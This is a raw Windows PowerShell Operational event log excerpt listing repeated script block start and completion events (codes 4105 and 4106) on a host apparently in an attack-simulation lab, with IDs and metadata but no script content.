OpCode=On create calls
RecordNumber=2046402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046395
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046394
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046393
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046392
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046390
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046376
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046375
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046370
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046369
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
